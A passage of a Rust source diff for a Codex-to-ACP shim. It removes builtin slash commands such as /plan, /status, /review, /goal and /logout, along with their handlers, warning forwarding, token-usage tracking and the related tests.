description: "Set a goal to keep pursuing.",
|
||||
hint: Some("[<objective>|clear|pause|resume]"),
|
||||
},
|
||||
BuiltinCommandSpec { name: "rename", description: "Rename the current session.", hint: Some("new name") },
|
||||
BuiltinCommandSpec {
|
||||
name: "logout",
|
||||
description: "Sign out of Codex. This option is available when you are logged in via ChatGPT.",
|
||||
hint: None,
|
||||
},
|
||||
];
|
||||
|
||||
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
|
||||
pub(super) enum BuiltinCommand {
|
||||
Plan,
|
||||
Mcp,
|
||||
Skills,
|
||||
Status,
|
||||
Review,
|
||||
ReviewBranch,
|
||||
ReviewCommit,
|
||||
Compact,
|
||||
Goal,
|
||||
Rename,
|
||||
Logout,
|
||||
}
|
||||
|
||||
impl BuiltinCommand {
|
||||
fn from_name(name: &str) -> Option<Self> {
|
||||
Some(match name {
|
||||
"plan" => Self::Plan,
|
||||
"mcp" => Self::Mcp,
|
||||
"skills" => Self::Skills,
|
||||
"status" => Self::Status,
|
||||
"review" => Self::Review,
|
||||
"review-branch" => Self::ReviewBranch,
|
||||
"review-commit" => Self::ReviewCommit,
|
||||
"compact" => Self::Compact,
|
||||
"goal" => Self::Goal,
|
||||
"rename" => Self::Rename,
|
||||
"logout" => Self::Logout,
|
||||
_ => return None,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug, PartialEq, Eq)]
|
||||
pub(super) struct ParsedCommand {
|
||||
pub command: BuiltinCommand,
|
||||
/// Everything after the command name, trimmed but otherwise unchanged.
|
||||
pub rest: String,
|
||||
}
|
||||
|
||||
impl ParsedCommand {
|
||||
/// Commands that Codex completes as a turn. Missing review arguments stay local so the
|
||||
/// adapter can print the command's usage without starting an unnecessary model request.
|
||||
pub fn starts_turn(&self) -> bool {
|
||||
matches!(self.command, BuiltinCommand::Compact | BuiltinCommand::Review)
|
||||
|| (matches!(self.command, BuiltinCommand::ReviewBranch | BuiltinCommand::ReviewCommit)
|
||||
&& !self.rest.is_empty())
|
||||
}
|
||||
}
|
||||
|
||||
/// A recognized Codex builtin at the start of the prompt. Unknown slash commands and
|
||||
/// `$skill` invocations return `None`, so they continue through Codex as ordinary prompts.
|
||||
pub(super) fn parse(prompt: &Value) -> Option<ParsedCommand> {
|
||||
let text = prompt.as_array()?.first()?.get("text")?.as_str()?.trim();
|
||||
let command_text = text.strip_prefix('/')?.trim();
|
||||
let (name, rest) = command_text.split_once(char::is_whitespace).unwrap_or((command_text, ""));
|
||||
let command = BuiltinCommand::from_name(&name.to_ascii_lowercase())?;
|
||||
Some(ParsedCommand { command, rest: rest.trim().to_owned() })
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use serde_json::json;
|
||||
|
||||
fn text(value: &str) -> Value {
|
||||
json!([{ "type": "text", "text": value }])
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn every_builtin_is_registered_and_parsed() {
|
||||
let expected = [
|
||||
"plan",
|
||||
"mcp",
|
||||
"skills",
|
||||
"status",
|
||||
"review",
|
||||
"review-branch",
|
||||
"review-commit",
|
||||
"compact",
|
||||
"goal",
|
||||
"rename",
|
||||
"logout",
|
||||
];
|
||||
assert_eq!(BUILTIN_COMMANDS.iter().map(|c| c.name).collect::<Vec<_>>(), expected);
|
||||
for name in expected {
|
||||
assert!(parse(&text(&format!("/{name}"))).is_some(), "{name}");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn parsing_keeps_arguments_and_leaves_non_builtins_alone() {
|
||||
let parsed = parse(&text(" /review-branch origin/main ")).unwrap();
|
||||
assert_eq!(parsed.command, BuiltinCommand::ReviewBranch);
|
||||
assert_eq!(parsed.rest, "origin/main");
|
||||
assert!(parsed.starts_turn());
|
||||
assert!(!parse(&text("/review-branch")).unwrap().starts_turn());
|
||||
assert!(parse(&text("/$review check this")).is_none());
|
||||
assert!(parse(&text("review")).is_none());
|
||||
|
||||
let prompt = json!([{ "type": "text", "text": "/compact" }, { "type": "image", "data": "AA==" }]);
|
||||
assert_eq!(parse(&prompt).unwrap().command, BuiltinCommand::Compact);
|
||||
}
|
||||
}
|
||||
@@ -2,11 +2,7 @@
|
||||
//! translated to and from ACP. A codex thread is an ACP session; a subagent's thread is
|
||||
//! a subagent session of the thread that spawned it.
|
||||
|
||||
mod commands;
|
||||
mod translate;
|
||||
mod trust;
|
||||
|
||||
pub(crate) use commands::BUILTIN_COMMANDS;
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests;
|
||||
@@ -14,8 +10,6 @@ mod tests;
|
||||
use super::Shim;
|
||||
use crate::acp::AUTH_REQUIRED;
|
||||
use crate::provider::ProviderSpec;
|
||||
use crate::{AgentCommand, AgentCommandSource};
|
||||
use commands::{BuiltinCommand, ParsedCommand};
|
||||
use ide_jsonrpc::{Framing, Handler, Peer, RpcError, codes};
|
||||
use parking_lot::Mutex;
|
||||
use serde_json::{Value, json};
|
||||
@@ -38,19 +32,6 @@ const EXIT_GRACE: Duration = Duration::from_millis(100);
|
||||
const NAME_PROMPT: &str = "Name this conversation for a list of tasks: a short title of at most six words, in the \
|
||||
language the user writes in. Reply with the title only, without quotes or a closing period.";
|
||||
|
||||
/// Slash-command metadata for provider discovery and sessions without an advertised list.
|
||||
pub(crate) fn builtin_commands() -> Vec<AgentCommand> {
|
||||
BUILTIN_COMMANDS
|
||||
.iter()
|
||||
.map(|command| AgentCommand {
|
||||
name: command.name.to_owned(),
|
||||
description: command.description.to_owned(),
|
||||
hint: command.hint.map(str::to_owned),
|
||||
source: AgentCommandSource::Command,
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
pub(crate) fn connect(
|
||||
spec: &ProviderSpec,
|
||||
cwd: &Path,
|
||||
@@ -202,8 +183,6 @@ struct State {
|
||||
threads: HashMap<String, Thread>,
|
||||
/// The last `account/rateLimits/updated` snapshot.
|
||||
rate_limits: Option<Value>,
|
||||
/// Project trust has been checked (and, when needed, asked about) on this connection.
|
||||
trust_checked: HashSet<String>,
|
||||
/// Codex exited.
|
||||
gone: bool,
|
||||
}
|
||||
@@ -236,8 +215,6 @@ struct Thread {
|
||||
early_cancel: Option<Instant>,
|
||||
/// The latest agent message (a subagent's answer).
|
||||
answer: String,
|
||||
/// The latest `thread/tokenUsage/updated` payload, for the `/status` command.
|
||||
token_usage: Option<Value>,
|
||||
/// The thread has a name.
|
||||
named: bool,
|
||||
/// A name is being asked for.
|
||||
@@ -343,12 +320,6 @@ impl CodexShim {
|
||||
self.codex().request(method, params, None).await.map_err(from_codex)
|
||||
}
|
||||
|
||||
fn warning(&self, message: impl Into<String>) {
|
||||
if let Some(client) = self.client.get() {
|
||||
let _ = client.notify(crate::WARNING_NOTIFICATION, json!({ "message": message.into() }));
|
||||
}
|
||||
}
|
||||
|
||||
async fn handle(&self, method: &str, params: Value) -> Result<Value, ResponseError> {
|
||||
match method {
|
||||
"initialize" => self.initialize().await,
|
||||
@@ -432,7 +403,6 @@ impl CodexShim {
|
||||
|
||||
async fn new_session(&self, params: &Value) -> Result<Value, ResponseError> {
|
||||
let models = self.models().await?;
|
||||
self.prepare_project_trust(params).await;
|
||||
let mut request = json!({ "cwd": params.get("cwd") });
|
||||
if let Some(config) = translate::mcp_config(params) {
|
||||
request["config"] = config;
|
||||
@@ -450,7 +420,6 @@ impl CodexShim {
|
||||
async fn load_session(&self, params: &Value) -> Result<Value, ResponseError> {
|
||||
let id = str_param(params, "sessionId")?;
|
||||
let models = self.models().await?;
|
||||
self.prepare_project_trust(params).await;
|
||||
let mut request = json!({ "threadId": id, "cwd": params.get("cwd") });
|
||||
if let Some(config) = translate::mcp_config(params) {
|
||||
request["config"] = config;
|
||||
@@ -469,7 +438,6 @@ impl CodexShim {
|
||||
async fn fork_session(&self, params: &Value) -> Result<Value, ResponseError> {
|
||||
let source = str_param(params, "sessionId")?;
|
||||
let models = self.models().await?;
|
||||
self.prepare_project_trust(params).await;
|
||||
let settings = self.state.lock().threads.get(source).and_then(|t| t.settings.clone());
|
||||
let mut request = json!({ "threadId": source, "cwd": params.get("cwd") });
|
||||
if let Some(config) = translate::mcp_config(params) {
|
||||
@@ -503,18 +471,11 @@ impl CodexShim {
|
||||
|
||||
async fn prompt(&self, params: &Value) -> Result<Value, ResponseError> {
|
||||
let session = str_param(params, "sessionId")?.to_owned();
|
||||
let prompt = params.get("prompt").unwrap_or(&Value::Null);
|
||||
let command = commands::parse(prompt);
|
||||
if let Some(command) = command.as_ref()
|
||||
&& !command.starts_turn()
|
||||
{
|
||||
return self.local_command(&session, command).await;
|
||||
}
|
||||
let input = translate::user_input(prompt);
|
||||
let input = translate::user_input(params.get("prompt").unwrap_or(&Value::Null));
|
||||
if input.is_empty() {
|
||||
return Err(invalid("empty prompt"));
|
||||
}
|
||||
let models = if command.is_none() { Some(self.models().await?) } else { None };
|
||||
let models = self.models().await?;
|
||||
let (done, ended) = oneshot::channel();
|
||||
let settings = {
|
||||
let mut state = self.state.lock();
|
||||
@@ -530,213 +491,33 @@ impl CodexShim {
|
||||
t.error = None;
|
||||
t.settings.clone()
|
||||
};
|
||||
let started = match command.as_ref() {
|
||||
Some(command) => match command.command {
|
||||
BuiltinCommand::Compact => {
|
||||
// Codex reports compaction as its own turn, using the same started/completed
|
||||
// notifications that finish the pending session/prompt above.
|
||||
self.call("thread/compact/start", json!({ "threadId": session })).await
|
||||
}
|
||||
BuiltinCommand::Review | BuiltinCommand::ReviewBranch | BuiltinCommand::ReviewCommit => {
|
||||
self.call("review/start", json!({ "threadId": session, "target": review_target(command) })).await
|
||||
}
|
||||
_ => unreachable!("local commands return before a pending turn is created"),
|
||||
},
|
||||
None => {
|
||||
let models = models.expect("ordinary prompts load the model catalog");
|
||||
let mut request = json!({ "threadId": session, "input": input, "summary": "auto" });
|
||||
if let Some(s) = &settings {
|
||||
request["model"] = json!(s.model_slug(&models));
|
||||
request["approvalPolicy"] = json!(s.mode.approval_policy());
|
||||
request["sandboxPolicy"] = s.mode.sandbox_policy();
|
||||
// Omit the default so older app-server versions keep accepting normal
|
||||
// turns; selecting Plan opts into this newer request field.
|
||||
if s.collaboration_mode == translate::PLAN_COLLABORATION_MODE
|
||||
|| s.collaboration_mode_override.is_some()
|
||||
{
|
||||
request["collaborationMode"] = translate::collaboration_mode(s, &models);
|
||||
}
|
||||
if let Some(effort) = &s.effort {
|
||||
request["effort"] = json!(effort);
|
||||
}
|
||||
}
|
||||
self.call("turn/start", request).await
|
||||
let mut request = json!({ "threadId": session, "input": input, "summary": "auto" });
|
||||
if let Some(s) = settings {
|
||||
request["model"] = json!(s.model_slug(&models));
|
||||
request["approvalPolicy"] = json!(s.mode.approval_policy());
|
||||
request["sandboxPolicy"] = s.mode.sandbox_policy();
|
||||
if let Some(effort) = &s.effort {
|
||||
request["effort"] = json!(effort);
|
||||
}
|
||||
};
|
||||
if let Ok(started) = &started
|
||||
&& let Some(turn) = started.pointer("/turn/id").and_then(Value::as_str)
|
||||
{
|
||||
self.turn_known(&session, turn, false);
|
||||
}
|
||||
if started.is_ok()
|
||||
&& command.is_none()
|
||||
&& let Some(thread) = self.state.lock().threads.get_mut(&session)
|
||||
&& let Some(settings) = thread.settings.as_mut()
|
||||
{
|
||||
// A Default override is needed only for the first turn that resets a resumed
|
||||
// Plan thread; omitting it afterwards preserves compatibility with older Codex.
|
||||
settings.collaboration_mode_override = None;
|
||||
}
|
||||
if let Err(e) = started {
|
||||
if let Some(t) = self.state.lock().threads.get_mut(&session) {
|
||||
t.prompt = None;
|
||||
match self.call("turn/start", request).await {
|
||||
Ok(started) => {
|
||||
if let Some(turn) = started.pointer("/turn/id").and_then(Value::as_str) {
|
||||
self.turn_known(&session, turn, false);
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
if let Some(t) = self.state.lock().threads.get_mut(&session) {
|
||||
t.prompt = None;
|
||||
}
|
||||
return Err(e);
|
||||
}
|
||||
return Err(e);
|
||||
}
|
||||
let (turn, last_error) = ended.await.map_err(|_| error(codes::INTERNAL_ERROR, "Codex exited"))?;
|
||||
let rate_limits = self.state.lock().rate_limits.clone();
|
||||
stop_reason(&turn, last_error, rate_limits.as_ref())
|
||||
}
|
||||
|
||||
/// Runs commands that codex-acp historically handled locally: configuration, status,
|
||||
/// inventory, naming and account actions. They complete without starting a model turn.
|
||||
async fn local_command(&self, session: &str, command: &ParsedCommand) -> Result<Value, ResponseError> {
|
||||
let (settings, cwd, token_usage, rate_limits) = {
|
||||
let state = self.state.lock();
|
||||
if state.gone {
|
||||
return Err(error(codes::INTERNAL_ERROR, "Codex exited"));
|
||||
}
|
||||
let thread = state.threads.get(session).ok_or_else(|| invalid(format!("no session {session}")))?;
|
||||
if thread.prompt.is_some() || thread.turn.is_some() {
|
||||
return Err(invalid("a turn is already running"));
|
||||
}
|
||||
(thread.settings.clone(), thread.cwd.clone(), thread.token_usage.clone(), state.rate_limits.clone())
|
||||
};
|
||||
|
||||
match command.command {
|
||||
BuiltinCommand::Plan => {
|
||||
if !command.rest.is_empty() {
|
||||
self.say(session, command_usage(BuiltinCommand::Plan));
|
||||
return Ok(json!({ "stopReason": "end_turn" }));
|
||||
}
|
||||
let models = self.models().await?;
|
||||
let options = {
|
||||
let mut state = self.state.lock();
|
||||
let thread =
|
||||
state.threads.get_mut(session).ok_or_else(|| invalid(format!("no session {session}")))?;
|
||||
let settings = thread.settings.as_mut().ok_or_else(|| invalid(format!("no session {session}")))?;
|
||||
settings.collaboration_mode = if settings.collaboration_mode == translate::PLAN_COLLABORATION_MODE {
|
||||
translate::DEFAULT_COLLABORATION_MODE.to_owned()
|
||||
} else {
|
||||
translate::PLAN_COLLABORATION_MODE.to_owned()
|
||||
};
|
||||
settings.collaboration_mode_override = Some(settings.collaboration_mode.clone());
|
||||
translate::config_options(&models, settings)
|
||||
};
|
||||
self.emit(session, json!({ "sessionUpdate": "config_option_update", "configOptions": options }));
|
||||
}
|
||||
BuiltinCommand::Status => {
|
||||
let text =
|
||||
status_text(session, settings.as_ref(), cwd.as_deref(), token_usage.as_ref(), rate_limits.as_ref());
|
||||
self.say(session, text);
|
||||
}
|
||||
BuiltinCommand::Skills => {
|
||||
let cwd = cwd.ok_or_else(|| invalid(format!("no session {session}")))?;
|
||||
let found = self.call("skills/list", json!({ "cwds": [cwd] })).await?;
|
||||
self.say(session, skills_text(&found));
|
||||
}
|
||||
BuiltinCommand::Mcp => match command.rest.as_str() {
|
||||
"" => self.say(session, self.mcp_text(session).await?),
|
||||
rest if rest.eq_ignore_ascii_case("reconnect") => {
|
||||
self.call("config/mcpServer/reload", json!({})).await?;
|
||||
self.say(session, self.mcp_text(session).await?);
|
||||
}
|
||||
_ => self.say(session, command_usage(BuiltinCommand::Mcp)),
|
||||
},
|
||||
BuiltinCommand::Rename => {
|
||||
if command.rest.is_empty() {
|
||||
self.say(session, command_usage(BuiltinCommand::Rename));
|
||||
} else {
|
||||
self.call("thread/name/set", json!({ "threadId": session, "name": command.rest })).await?;
|
||||
// User commands are authoritative over the automatic title, so the manager
|
||||
// must retain this title through later generated-name updates.
|
||||
self.emit(
|
||||
session,
|
||||
json!({ "sessionUpdate": "session_info_update", "title": command.rest, "userNamed": true }),
|
||||
);
|
||||
}
|
||||
}
|
||||
BuiltinCommand::Logout => {
|
||||
self.call("account/logout", Value::Null).await?;
|
||||
self.say(session, "Logged out from Codex account.");
|
||||
}
|
||||
BuiltinCommand::Goal => self.goal_command(session, &command.rest).await?,
|
||||
BuiltinCommand::ReviewBranch | BuiltinCommand::ReviewCommit if command.rest.is_empty() => {
|
||||
self.say(session, command_usage(command.command));
|
||||
}
|
||||
BuiltinCommand::ReviewBranch | BuiltinCommand::ReviewCommit => {
|
||||
return Err(invalid("review command did not start a turn"));
|
||||
}
|
||||
BuiltinCommand::Review | BuiltinCommand::Compact => {
|
||||
return Err(invalid("turn command reached the local command path"));
|
||||
}
|
||||
}
|
||||
Ok(json!({ "stopReason": "end_turn" }))
|
||||
}
|
||||
|
||||
async fn goal_command(&self, session: &str, rest: &str) -> Result<(), ResponseError> {
|
||||
let argument = rest.trim();
|
||||
if argument.is_empty() {
|
||||
self.say(session, command_usage(BuiltinCommand::Goal));
|
||||
return Ok(());
|
||||
}
|
||||
match argument.to_ascii_lowercase().as_str() {
|
||||
"clear" => {
|
||||
self.call("thread/goal/clear", json!({ "threadId": session })).await?;
|
||||
self.say(session, "Goal cleared.");
|
||||
}
|
||||
"pause" => {
|
||||
let response = self
|
||||
.call("thread/goal/set", json!({ "threadId": session, "status": "paused", "origin": "user" }))
|
||||
.await?;
|
||||
self.say(
|
||||
session,
|
||||
format!(
|
||||
"Goal is now {}.",
|
||||
response.pointer("/goal/status").and_then(Value::as_str).unwrap_or("paused")
|
||||
),
|
||||
);
|
||||
}
|
||||
"resume" => {
|
||||
let response = self
|
||||
.call("thread/goal/set", json!({ "threadId": session, "status": "active", "origin": "user" }))
|
||||
.await?;
|
||||
self.say(
|
||||
session,
|
||||
format!(
|
||||
"Goal is now {}.",
|
||||
response.pointer("/goal/status").and_then(Value::as_str).unwrap_or("active")
|
||||
),
|
||||
);
|
||||
}
|
||||
_ if argument.chars().count() > 4000 => {
|
||||
self.say(session, "Command \"/goal\" requires goal text of at most 4000 characters.");
|
||||
}
|
||||
_ => {
|
||||
let response = self
|
||||
.call(
|
||||
"thread/goal/set",
|
||||
json!({ "threadId": session, "objective": argument, "status": "active", "origin": "user" }),
|
||||
)
|
||||
.await?;
|
||||
let status = response.pointer("/goal/status").and_then(Value::as_str).unwrap_or("active");
|
||||
self.say(session, format!("Goal set and {status}."));
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn mcp_text(&self, session: &str) -> Result<String, ResponseError> {
|
||||
let response = self
|
||||
.call("mcpServerStatus/list", json!({ "threadId": session, "detail": "toolsAndAuthOnly", "limit": 100 }))
|
||||
.await?;
|
||||
Ok(mcp_text(&response))
|
||||
}
|
||||
|
||||
fn say(&self, session: &str, text: impl AsRef<str>) {
|
||||
self.emit(session, translate::chunk("agent_message_chunk", text.as_ref()));
|
||||
}
|
||||
|
||||
async fn steer(&self, params: &Value) -> Result<Value, ResponseError> {
|
||||
let session = str_param(params, "sessionId")?;
|
||||
let turn = self.state.lock().threads.get(session).and_then(|t| t.turn.clone());
|
||||
@@ -862,25 +643,6 @@ impl CodexShim {
|
||||
fn on_codex_notification(self: &Arc<Self>, method: &str, params: &Value) {
|
||||
let thread = params.get("threadId").and_then(Value::as_str).unwrap_or_default();
|
||||
match method {
|
||||
"configWarning" => {
|
||||
let Some(summary) = params.get("summary").and_then(Value::as_str).filter(|s| !s.trim().is_empty())
|
||||
else {
|
||||
return;
|
||||
};
|
||||
let mut message = summary.trim().to_owned();
|
||||
for key in ["details", "path"] {
|
||||
if let Some(value) = params.get(key).and_then(Value::as_str).filter(|s| !s.trim().is_empty()) {
|
||||
message.push_str("\n\n");
|
||||
message.push_str(value.trim());
|
||||
}
|
||||
}
|
||||
self.warning(message);
|
||||
}
|
||||
"warning" => {
|
||||
if let Some(message) = params.get("message").and_then(Value::as_str).filter(|s| !s.trim().is_empty()) {
|
||||
self.warning(message);
|
||||
}
|
||||
}
|
||||
"skills/changed" => {
|
||||
let shim = self.clone();
|
||||
let sessions: Vec<String> = self
|
||||
@@ -931,12 +693,7 @@ impl CodexShim {
|
||||
t.last_chunk = None;
|
||||
Some(translate::plan(params))
|
||||
}),
|
||||
"thread/tokenUsage/updated" => self.with_thread(thread, |t, _| {
|
||||
if let Some(usage) = params.get("tokenUsage") {
|
||||
t.token_usage = Some(usage.clone());
|
||||
}
|
||||
translate::usage(params)
|
||||
}),
|
||||
"thread/tokenUsage/updated" => self.with_thread(thread, |_, _| translate::usage(params)),
|
||||
"thread/name/updated" => self.with_thread(thread, |t, _| {
|
||||
let title = params.get("threadName").and_then(Value::as_str)?;
|
||||
t.named = true;
|
||||
@@ -1425,114 +1182,3 @@ fn stop_reason(turn: &Value, last_error: Option<Value>, rate_limits: Option<&Val
|
||||
};
|
||||
Ok(json!({ "stopReason": stop }))
|
||||
}
|
||||
|
||||
/// The `review/start` target of a parsed review command.
|
||||
fn review_target(command: &ParsedCommand) -> Value {
|
||||
match command.command {
|
||||
BuiltinCommand::Review if command.rest.is_empty() => json!({ "type": "uncommittedChanges" }),
|
||||
BuiltinCommand::Review => json!({ "type": "custom", "instructions": command.rest }),
|
||||
BuiltinCommand::ReviewBranch => json!({ "type": "baseBranch", "branch": command.rest }),
|
||||
BuiltinCommand::ReviewCommit => json!({ "type": "commit", "sha": command.rest, "title": null }),
|
||||
_ => unreachable!("only review commands have review targets"),
|
||||
}
|
||||
}
|
||||
|
||||
fn command_usage(command: BuiltinCommand) -> String {
|
||||
match command {
|
||||
BuiltinCommand::Plan => "Command \"/plan\" accepts no arguments.".to_owned(),
|
||||
BuiltinCommand::Mcp => "Command \"/mcp\" accepts no arguments, or `reconnect`.".to_owned(),
|
||||
BuiltinCommand::ReviewBranch => "Command \"/review-branch\" requires branch name.".to_owned(),
|
||||
BuiltinCommand::ReviewCommit => "Command \"/review-commit\" requires commit sha.".to_owned(),
|
||||
BuiltinCommand::Goal => "Command \"/goal\" requires [<objective>|clear|pause|resume].".to_owned(),
|
||||
BuiltinCommand::Rename => "Command \"/rename\" requires new name.".to_owned(),
|
||||
_ => "This command does not accept arguments.".to_owned(),
|
||||
}
|
||||
}
|
||||
|
||||
fn status_text(
|
||||
session: &str,
|
||||
settings: Option<&Settings>,
|
||||
cwd: Option<&str>,
|
||||
token_usage: Option<&Value>,
|
||||
rate_limits: Option<&Value>,
|
||||
) -> String {
|
||||
let mut lines = Vec::new();
|
||||
if let Some(settings) = settings {
|
||||
lines.push(format!("**Model:** {}", settings.model));
|
||||
lines.push(format!("**Collaboration:** {}", settings.collaboration_mode));
|
||||
lines.push(format!("**Approval:** {}", settings.mode.approval_policy()));
|
||||
lines.push(format!("**Sandbox:** {}", settings.mode.sandbox_mode()));
|
||||
}
|
||||
if let Some(cwd) = cwd {
|
||||
lines.push(format!("**Directory:** {cwd}"));
|
||||
}
|
||||
lines.push(format!("**Session:** `{session}`"));
|
||||
if let Some(usage) = token_usage {
|
||||
let total = usage.pointer("/total/totalTokens").and_then(Value::as_u64);
|
||||
let used = usage.pointer("/last/totalTokens").and_then(Value::as_u64);
|
||||
let window = usage.get("modelContextWindow").and_then(Value::as_u64).filter(|window| *window > 0);
|
||||
if let (Some(total), Some(used), Some(window)) = (total, used, window) {
|
||||
let percent = (used.saturating_mul(100) + window / 2) / window;
|
||||
lines.push(format!("**Token usage:** {total} total"));
|
||||
lines.push(format!("**Context window:** {used} / {window} ({percent}%)"));
|
||||
}
|
||||
}
|
||||
if let Some(primary) = rate_limits.and_then(|r| r.get("primary"))
|
||||
&& let Some(used) = primary.get("usedPercent").and_then(Value::as_f64)
|
||||
{
|
||||
lines.push(format!("**Rate limit:** {used:.0}% used"));
|
||||
}
|
||||
lines.join(" \n")
|
||||
}
|
||||
|
||||
fn skills_text(response: &Value) -> String {
|
||||
let mut seen = HashSet::new();
|
||||
let names: Vec<String> = response
|
||||
.get("data")
|
||||
.and_then(Value::as_array)
|
||||
.into_iter()
|
||||
.flatten()
|
||||
.filter_map(|entry| entry.get("skills").and_then(Value::as_array))
|
||||
.flatten()
|
||||
.filter(|skill| skill.get("enabled") != Some(&Value::Bool(false)))
|
||||
.filter_map(|skill| {
|
||||
let name = skill.get("name").and_then(Value::as_str)?.trim();
|
||||
if name.is_empty() || !seen.insert(name.to_owned()) {
|
||||
return None;
|
||||
}
|
||||
let description = skill
|
||||
.pointer("/interface/shortDescription")
|
||||
.or_else(|| skill.get("shortDescription"))
|
||||
.or_else(|| skill.get("description"))
|
||||
.and_then(Value::as_str)
|
||||
.unwrap_or_default();
|
||||
Some(if description.is_empty() { name.to_owned() } else { format!("{name}: {description}") })
|
||||
})
|
||||
.collect();
|
||||
if names.is_empty() {
|
||||
"No skills configured.".to_owned()
|
||||
} else {
|
||||
format!("Available skills:\n{}", names.iter().map(|name| format!("- {name}")).collect::<Vec<_>>().join("\n"))
|
||||
}
|
||||
}
|
||||
|
||||
fn mcp_text(response: &Value) -> String {
|
||||
let servers = response.get("data").and_then(Value::as_array).map(Vec::as_slice).unwrap_or_default();
|
||||
if servers.is_empty() {
|
||||
return "No MCP servers configured.".to_owned();
|
||||
}
|
||||
let lines = servers
|
||||
.iter()
|
||||
.filter_map(|server| {
|
||||
let name = server.get("name").and_then(Value::as_str)?;
|
||||
let status = server
|
||||
.get("runtimeStatus")
|
||||
.and_then(Value::as_str)
|
||||
.or_else(|| server.get("authStatus").and_then(Value::as_str))
|
||||
.unwrap_or("unknown");
|
||||
let tools = server.get("tools").and_then(Value::as_object).map_or(0, serde_json::Map::len);
|
||||
Some(format!("- {name}: {status}, {tools} tools"))
|
||||
})
|
||||
.collect::<Vec<_>>();
|
||||
format!("MCP servers:\n{}", lines.join("\n"))
|
||||
}
|
||||
@@ -180,38 +180,24 @@ fn settings_follow_the_thread_and_the_models() {
|
||||
let result = json!({"model": "big", "reasoningEffort": null, "approvalPolicy": "untrusted",
|
||||
"sandbox": {"type": "workspaceWrite"}});
|
||||
let mut s = Settings::of(&result, &models);
|
||||
assert_eq!(
|
||||
s,
|
||||
Settings {
|
||||
model: "big".into(),
|
||||
effort: Some("low".into()),
|
||||
mode: Mode::Ask,
|
||||
collaboration_mode: DEFAULT_COLLABORATION_MODE.into(),
|
||||
collaboration_mode_override: None,
|
||||
}
|
||||
);
|
||||
assert_eq!(s, Settings { model: "big".into(), effort: Some("low".into()), mode: Mode::Ask });
|
||||
|
||||
let options = config_options(&models, &s);
|
||||
let ids: Vec<&str> = options.as_array().unwrap().iter().map(|o| o["id"].as_str().unwrap()).collect();
|
||||
assert_eq!(ids, [MODEL, EFFORT, MODE, COLLABORATION_MODE]);
|
||||
assert_eq!(ids, [MODEL, EFFORT, MODE]);
|
||||
assert_eq!(options[0]["options"].as_array().unwrap().len(), 2, "hidden models are left out");
|
||||
assert_eq!(options[1]["category"], "thought_level");
|
||||
assert_eq!(options[1]["options"][1]["name"], "Extra high");
|
||||
assert_eq!(options[2]["currentValue"], "ask");
|
||||
assert_eq!(options[3]["currentValue"], "default");
|
||||
|
||||
// A model without efforts drops the option; its slug is what codex gets.
|
||||
s.set(&models, MODEL, "plain").unwrap();
|
||||
assert_eq!((s.effort.as_deref(), s.model_slug(&models).as_str()), (None, "plain-slug"));
|
||||
assert_eq!(config_options(&models, &s).as_array().unwrap().len(), 3);
|
||||
assert_eq!(config_options(&models, &s).as_array().unwrap().len(), 2);
|
||||
assert!(s.set(&models, EFFORT, "low").is_err());
|
||||
assert!(s.set(&models, MODEL, "nope").is_err());
|
||||
s.set(&models, MODE, "full-access").unwrap();
|
||||
assert_eq!((s.mode.approval_policy(), s.mode.sandbox_policy()), ("never", json!({"type": "dangerFullAccess"})));
|
||||
s.set(&models, COLLABORATION_MODE, PLAN_COLLABORATION_MODE).unwrap();
|
||||
assert_eq!(collaboration_mode(&s, &models)["mode"], PLAN_COLLABORATION_MODE);
|
||||
s.set(&models, COLLABORATION_MODE, DEFAULT_COLLABORATION_MODE).unwrap();
|
||||
assert_eq!(collaboration_mode(&s, &models)["mode"], DEFAULT_COLLABORATION_MODE);
|
||||
|
||||
// A model codex runs that it doesn't list is still offered.
|
||||
let s = Settings::of(&json!({"model": "custom", "sandbox": {"type": "readOnly"}}), &models);
|
||||
@@ -240,18 +226,6 @@ fn prompts_become_user_input() {
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn compact_is_recognized_with_completion_whitespace_and_attachments() {
|
||||
// Completion leaves trailing whitespace and images can remain in the prompt. The first
|
||||
// text block still names the command; unknown slash-shaped text continues normally.
|
||||
assert_eq!(commands::parse(&text("/compact")).unwrap().command, BuiltinCommand::Compact);
|
||||
assert_eq!(commands::parse(&text(" /compact \n")).unwrap().command, BuiltinCommand::Compact);
|
||||
assert_eq!(commands::parse(&text("/compact now")).unwrap().rest, "now");
|
||||
let prompt = json!([{"type": "text", "text": "/compact"}, {"type": "image", "data": "AA=="}]);
|
||||
assert_eq!(commands::parse(&prompt).unwrap().command, BuiltinCommand::Compact);
|
||||
assert!(commands::parse(&text("x/compact")).is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn commands_are_titled_by_what_they_do() {
|
||||
let cmd = |actions: Value| {
|
||||
@@ -479,7 +453,6 @@ fn history_replays_turns() {
|
||||
#[derive(Default)]
|
||||
struct Client {
|
||||
updates: Mutex<Vec<Value>>,
|
||||
warnings: Mutex<Vec<Value>>,
|
||||
asked: Mutex<Vec<Value>>,
|
||||
/// Option ids to choose; `None` (or none left) cancels.
|
||||
answers: Mutex<VecDeque<Option<&'static str>>>,
|
||||
@@ -489,8 +462,6 @@ impl Handler for Client {
|
||||
fn on_notification(&self, method: &str, params: Value) {
|
||||
if method == "session/update" {
|
||||
self.updates.lock().push(params);
|
||||
} else if method == "_openidea/warning" {
|
||||
self.warnings.lock().push(params);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -556,10 +527,6 @@ async fn questions_share_one_card_and_keep_their_ids() {
|
||||
#[derive(Clone, Copy, Debug, PartialEq)]
|
||||
enum Scenario {
|
||||
AuthFailure,
|
||||
Command(&'static str),
|
||||
Compact,
|
||||
PlanThenPrompt,
|
||||
PlanToggleThenPrompt,
|
||||
Interrupt,
|
||||
Resume,
|
||||
Steer,
|
||||
@@ -574,10 +541,6 @@ impl Scenario {
|
||||
fn file(self) -> &'static str {
|
||||
match self {
|
||||
Scenario::AuthFailure => "auth_failure",
|
||||
Scenario::Command(_) => "simple",
|
